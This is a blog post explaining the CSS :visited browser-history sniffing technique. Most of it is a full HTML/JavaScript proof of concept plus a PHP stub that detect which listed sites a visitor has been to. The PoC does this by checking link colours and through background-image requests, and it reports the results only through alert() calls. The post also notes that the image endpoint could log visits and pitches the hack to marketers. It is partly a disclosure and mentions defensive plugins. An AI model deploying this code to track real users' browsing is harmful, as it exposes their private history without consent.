Exploiting Browser History via CSS

Marketing people will likely love this hack. Information Security types may dislike the exposure of potentially sensitive information. Browser Accessibility individuals will obviously dislike that the fix removes standard ‘history’ behaviors from the browser in many cases.

Cascading Style Sheets (CSS) is a stylesheet language used to describe the presentation of a document written in a markup language, such as HTML. CSS is NORMALLY not a security concern as the technology does not directly effect anything outside of the webpage being viewed. Unfortunately with modern browsers (newer than 4.x), the CSS :visited pseudo-class can be exploited in the following manner to notify a phisher when a user has visited the web page.

  1. A different ‘style’ (color, font, background-image, position) can be set for visited links, allowing this “difference” to be detected via javascript and thus reported back to the website owners.
  2. A background-image defined in CSS “COULD” be a program that records the visited link directly (and allows the display of an image on the website).

There are several ways that this data can be exploited and shared with ‘other’ websites. I’ve included a simple JavaScript “alert()” in my Proof of Concept, the rest should be obvious to any developer with a decent knowledge of web technologies such as JavaScript, DOM, CSS and AJAX.

As ‘contexual’ links are a web standard, and users generally expect to see ‘visited’ links styled differently than ‘unvisited’ links, this behavior and user expectations must also be changed.

Thankfully, there are Mozilla plugins to defend against just this sort of attack:

References:

While unrelated to this particular defect, it helps to understand what else is typically shared between websites. Generally, the ‘Referring URL’ (the page where the link to a new website exists) is shared with the receiving website. Some browsers allow for this HTTP Header to be blocked to prevent this sort of tracking.
Example Code:

<html>
<head>
<title>CSS History Exploit</title>
<style type="text/css">
a.somecls:visited { background-image: url('exploit-image.php?example=cls'); }
a#someid:visited { background-image: url('exploit-image.php?example=id'); }
a:visited { color:red; }
a:link { color:green; }
</style>
<script type="text/javascript">
function xgetHelper(id){
var obj = null;
try {
obj = document.getElementById(id);
} catch(z) {
var dummy=alert("Error:" + z);
}
return obj;
}
function xmillis(){
return new Date().getTime();
}
/*
* This example looks at existing links on the page by using known 'id's for them
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistory(obj){
var a1=exploitHistoryID('a1');
var a2=exploitHistoryID('a2');
var a3=exploitHistoryID('a3');
var rc = a1 + "|" + a2 + "|" + a3;
alert(rc);
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistoryDOM(obj){
var x=xgetHelper('links');
var children=x.getElementsByTagName('a');
var rc = '';
for(var i=0; i < children.length; i++){
var b=exploitHistoryOBJ(children[i]);
if(rc!=""){ rc=rc+"|"; }
rc=rc+b;
}
alert(rc);
}
/*
* @param id String
* @return boolean
*/
function exploitHistoryID(id){
var obj=xgetHelper(id);
return exploitHistoryOBJ(obj);
}
/*
* Checks the current CSS color attribute on an (anchor) link to see if it's been visited, indicating that it is in browser history.
* @param obj Object - the HTML (a) tag
* @return boolean
*/
function exploitHistoryOBJ(obj){
var rc=false;
var moz_match='rgb(255, 0, 0)';
var msie_match='red';
if(obj!=null){
var rgb='';
try{
rgb=obj.getStyle('color');//obj.style.backgroundImage;
match=moz_match;
}
catch(e){
// this is likely because the above is Mozilla/DOM dependent, try MSIE currentStyle
try{
var cs=obj.currentStyle;
if(cs!=null){
rgb=cs.color;
}
match=msie_match;
}
catch(e){
//alert('Error:' + e);
}
}
if(rgb==match){
rc=true;
}
}
return rc;
}
/*
* Expects URL with queryString as param href
* @param x URL
* @return boolean
*/
function exploitHistoryURL(obj,x){
var obj=createURL(x);
var rc=exploitHistoryOBJ(obj);
alert(x + "=" + rc);
return false;
}
/*
* This will create an A HREF in the DOM and return the reference to the calling method.
* @param x URL
* @return obj Object of the generated FORM
*/
function createURL(x){
var rc=null;
try{
var id="url" + xmillis();
var oA=document.createElement("a");
oA.setAttribute("id",id);
oA.setAttribute("href",x);
//oA.setAttribute("style","display:none;");
var oBODY=document.getElementsByTagName("body")[0];
oBODY.appendChild(oA);
rc=oA;
}catch(e){
alert("Error"+e);
}
return rc;
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
* @param id String - 'id' of INPUT field
*/
function exploitIt(obj,id){
var rc=false;
var aINPUT=xgetHelper(id);
if(aINPUT!=null){
var x=aINPUT.value;
rc=exploitHistoryURL(obj,x);
alert(x + "=" + rc);
}
return false;
}
</script>
</head>
<body>
<p>NOTE: Not so obvious in this example, without looking at the code, is that a PHP file (exploit-image.php) is used to generate the background-image, it COULD be crafted to send data to this (or any other) website for analysis.</p>
<p id="links">[ <a id="a1" href="http://www.giantgeek.com/">http://www.giantgeek.com/</a> |
<a id="a2" href="http://www.skotfred.com/">http://www.skotfred.com/</a> |
<a id="a3" href="http://localhost/">http://localhost/</a> |
<a href="http://slashdot.org/">http://slashdot.org/</a> |
<a href="http://www.mozilla.org/" class="somecls">http://www.mozilla.org/</a> |
<a href="http://www.microsoft.com/" id="someid">http://www.microsoft.com/</a>
]</p>
<a href="javascript:void(0);" onclick="exploitHistory(this);">Exploit History via CSS</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryDOM(this);">Exploit History via CSS - DOM</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryURL(this,'http://www.skotfred.com/');">Exploit History via CSS - URL (http://www.skotfred.com/)</a><br />
<form action="#" method="get" onsubmit="return false;">
<input type="text" name="url" id="url" value="" /><button type="button" onclick="return exploitIt(this,'url');">CHECK</button>
</form>
</body>
</html>

Supporting file for exploit-image.php (STUB for example):

<?php
// NOTE: you could read the param and log the URL here (if desired) this just redirects for now.
//header("Cache-Control: no-store");
header('Location: /images/anim.gif');
?>

Cheers, you’ll probably want a drink after that, either to celebrate or forget!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.